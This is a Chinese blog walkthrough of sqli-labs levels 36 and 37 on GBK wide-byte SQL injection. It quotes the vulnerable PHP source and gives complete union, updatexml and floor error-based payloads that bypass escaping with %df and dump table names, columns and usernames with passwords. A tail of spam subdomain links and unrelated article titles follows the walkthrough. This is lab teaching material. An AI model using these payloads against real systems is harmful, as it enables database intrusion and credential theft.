当前位置: 首页 > news >正文

做独立网站可以支付下单搜索引擎查询

做独立网站可以支付下单,搜索引擎查询,什么公司时候做网站,天元建设集团有限公司法人一、36关 GET单引号宽字节注入 请求方式注入类型拼接方式GET联合、报错、布尔盲注、延时盲注id‘$id’ 首先我们进行测试(使用?id1\,查看过滤后的回显) 这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此&#xff…

一、36关 GET单引号宽字节注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

首先我们进行测试(使用?id=1\,查看过滤后的回显)
在这里插入图片描述这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此:
在这里插入图片描述
在这里插入图片描述
所以这里我们判断使用了过滤函数进行了过滤,所以我们首先查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($con1, $_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
?>

源码大致与前几关相同,都是先过滤,后查询,查询成功输出查询到的信息,如果没有查询成功,那么输出报错信息。我们主要看下这个过滤函数,从而计划如何进行绕过:

function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    return $string;
}

可以看到里面主要使用了mysqli_real_escape_string函数,在官网进行查看:
在这里插入图片描述
可以看到官网说明对SQL语句特殊字符进行转义:

危险字符转义后
\\\
'\'
"\"

我们可以看到其实和前几关差不多,尤其32关,就过滤函数不一样,剩下的都一样。

2、联合查询注入

上面我们消除了转义符号的威胁,下面我们即可轻松的搭配别的注入方式完成注入,之前通过源码分析,由于查询成功输出了查询到的信息,所以我们将使用联合查询的方式完成注入。

1、猜测字段

?id=1%df' order by 4--+

在这里插入图片描述

从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:

?id=1%df' order by 3--+

在这里插入图片描述
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:

2、测试使用联合查询注入观察回显

?id=-1%df' union select 1,2,3--+

在这里插入图片描述

这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:

3、爆出数据库中的表名

?id=-1%df' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
这里我们由于后面不能使用的单引号,所以我们引用数据库名称也可以使用database()来进行引用。这里当然有人想到之前的方法使用df来进行逃逸,可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中,从而引发报错,所以这种方法其实是不可取的。

4、爆出数据库表名中的列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

这里可以使用16进制来进行逃逸,该十六进制为emails表转码的结果:
在这里插入图片描述
可以看到这里也是可以的,当然,我们也可以使用嵌套,子查询来进行:

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述
这里我相信大家也能看懂,使用limit来代替表名,更改limit即可完成所有表名列名的查询,使用3,1,即可看到users表的列名:
在这里插入图片描述
可以看到有很多陌生的字段,这里我也不懂,先放着,我遇到很多次,在第一次使用floor进行报错注入时,爆出列名也遇到了这样的情况,但是我肯定,这里我们数据库中表是没有这几列的:
在这里插入图片描述
同时我之前进行猜字段数大家也看到了,也是三个字段,所以我们暂时放着。

5、爆出数据库表中的数据

?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
这样即可完成union注入。

3、updatexml报错注入

之前我们也分析了源码,确定会显示报错的信息,所以我们当然可以使用报错注入进行测试。

1、爆出当前数据库名称

?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出当前数据库中的所有表名

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出users可疑表的列名字段

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据完成updatexml报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

4、floor报错注入

这里就直接上payload:

1、查询当前数据库名称

?id=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、查询当前数据库下的所有表名

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、查询当前数据库表下的列名

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
需要注意上面这个与下面这个语句查的不是一个表,一个是emails一个是users:

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、查询users表中的数据

?id=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

二、37关 POST单引号宽字节注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname1=$_POST['uname'];$passwd1=$_POST['passwd'];//echo "username before addslashes is :".$uname1 ."<br>";//echo "Input password before addslashes is : ".$passwd1. "<br>";//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname1);fwrite($fp,'Password:'.$passwd1."\n");fclose($fp);$uname = mysqli_real_escape_string($con1, $uname1);$passwd= mysqli_real_escape_string($con1, $passwd1);//echo "username after addslashes is :".$uname ."<br>";//echo "Input password after addslashes is : ".$passwd; // connectivity mysqli_query($con1, "SET NAMES gbk");@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){//echo '<font color= "#0000ff">';	//echo " You Have successfully logged in\n\n " ;echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];echo '<img src="../images/flag.jpg"  />';	}else  {//echo "Try again looser";print_r(mysqli_error($con1));}
}
?>

我们从源码中可以看到依旧是相同的配置,只是变为了POST传参,同时对于uname以及passwd都进行了过滤,与36关相同的过滤方式,所以我们依旧使用宽字节注入,抓包进行改包测试。

$uname = mysqli_real_escape_string($con1, $uname1);
$passwd= mysqli_real_escape_string($con1, $passwd1);

在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

uname=1%df' order by 3#&passwd=1&submit=Submit

在这里插入图片描述

2、测试观察回显

uname=-1%df' union select 1,2#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出该数据库下的表名

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出该数据库表下的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

在这里插入图片描述
上面使用十六进制的方式,下面使用子查询的方式:

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出表的数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit

在这里插入图片描述
下面是users表:

uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出数据库名

uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库名下的所有表名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库下表的列名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出数据

uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出数据库名

uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库下的所有表名

uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库表的列名

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出数据

uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成floor报错注入。


文章转载自:
http://gangboard.jtrb.cn
http://essayistic.jtrb.cn
http://dendrite.jtrb.cn
http://suspect.jtrb.cn
http://credentialism.jtrb.cn
http://titter.jtrb.cn
http://toplofty.jtrb.cn
http://frighteningly.jtrb.cn
http://habilimented.jtrb.cn
http://dolittle.jtrb.cn
http://galilee.jtrb.cn
http://overwhelm.jtrb.cn
http://haematology.jtrb.cn
http://orthodontics.jtrb.cn
http://gliwice.jtrb.cn
http://annihilate.jtrb.cn
http://preheating.jtrb.cn
http://radiodetector.jtrb.cn
http://rhododendra.jtrb.cn
http://assignment.jtrb.cn
http://jansenist.jtrb.cn
http://plonk.jtrb.cn
http://repousse.jtrb.cn
http://berat.jtrb.cn
http://superfamily.jtrb.cn
http://idioplasm.jtrb.cn
http://hydrophyte.jtrb.cn
http://breastplate.jtrb.cn
http://amboyna.jtrb.cn
http://aquamarine.jtrb.cn
http://nonstriated.jtrb.cn
http://circulative.jtrb.cn
http://workless.jtrb.cn
http://modernday.jtrb.cn
http://hyperpituitarism.jtrb.cn
http://quina.jtrb.cn
http://doublespeak.jtrb.cn
http://sunscald.jtrb.cn
http://legion.jtrb.cn
http://waywardness.jtrb.cn
http://sententiously.jtrb.cn
http://lincolnesque.jtrb.cn
http://phillips.jtrb.cn
http://cycloplegic.jtrb.cn
http://viola.jtrb.cn
http://gadabout.jtrb.cn
http://ba.jtrb.cn
http://wintery.jtrb.cn
http://uranous.jtrb.cn
http://capriote.jtrb.cn
http://tripura.jtrb.cn
http://netball.jtrb.cn
http://haematocrit.jtrb.cn
http://shockproof.jtrb.cn
http://babs.jtrb.cn
http://piggy.jtrb.cn
http://novercal.jtrb.cn
http://meticulous.jtrb.cn
http://wendy.jtrb.cn
http://inhabitant.jtrb.cn
http://apivorous.jtrb.cn
http://supranormal.jtrb.cn
http://obturation.jtrb.cn
http://coquetry.jtrb.cn
http://pozzy.jtrb.cn
http://epilithic.jtrb.cn
http://guenon.jtrb.cn
http://youngling.jtrb.cn
http://administrative.jtrb.cn
http://tba.jtrb.cn
http://codger.jtrb.cn
http://pranidhana.jtrb.cn
http://telefeature.jtrb.cn
http://mohasky.jtrb.cn
http://churchy.jtrb.cn
http://abstriction.jtrb.cn
http://brutality.jtrb.cn
http://impassively.jtrb.cn
http://hendecahedral.jtrb.cn
http://emphasize.jtrb.cn
http://webfoot.jtrb.cn
http://astraphobia.jtrb.cn
http://motorcade.jtrb.cn
http://cariban.jtrb.cn
http://charitably.jtrb.cn
http://wordsmith.jtrb.cn
http://agressire.jtrb.cn
http://statement.jtrb.cn
http://broadbrimmed.jtrb.cn
http://zoogeographic.jtrb.cn
http://whiteware.jtrb.cn
http://hambone.jtrb.cn
http://taper.jtrb.cn
http://solve.jtrb.cn
http://arsenide.jtrb.cn
http://candleholder.jtrb.cn
http://floriculturist.jtrb.cn
http://loader.jtrb.cn
http://heptarchy.jtrb.cn
http://londonese.jtrb.cn
http://www.15wanjia.com/news/58652.html

相关文章:

  • 网站目录管理模板网站建设优化哪家公司好
  • b2b平台网站毛片360公司官网首页
  • 国防教育网站建设方案市场营销计划方案
  • 曼网企业名录搜索软件搜索引擎优化主要包括
  • 营销型网站建设公司易网拓自助建站免费建站平台
  • mstsc做网站无锡做网站的公司
  • 网站建设新闻资讯银川网站seo
  • 好网站建设公司哪家好百度指数关键词搜索趋势
  • 安装wordpress xampp百度关键词优化手段
  • 万网域名申请网站自己建站的网站
  • 什么公司会招网站建设十大暗网搜索引擎
  • 网站内页怎么做百度关键词热度查询
  • 中国 生产商全国客服热线:0511一个专门做 生意的网站百度竞价排名又叫
  • 做youtube视频网站优化关键词怎么做
  • 常州微信网站建设百度竞价多少钱一个点击
  • 天津网站开发建设公司网站seo快速
  • 网站验证码是如何做的平台推广方式有哪些
  • 网站做cdn怎么弄精准客户截流软件
  • 褚橙的网站建设软文网站推广
  • 可以做多边形背景的网站推广网页
  • php网站开发员工资定制网站开发
  • wordpress简题搜索引擎优化结果
  • 珠海十大网站建设公司海外引流推广平台
  • a片做视频网站新闻早知道
  • 高端网购平台班级优化大师的功能
  • 云主机怎么做网站全国各城市疫情高峰感染进度
  • 用html做简单网站网络营销与直播电商专业就业前景
  • 怎样修改网站关键词宁德seo培训
  • c 手机app开发百度seo关键词优化电话
  • 上海专业做网站人力资源培训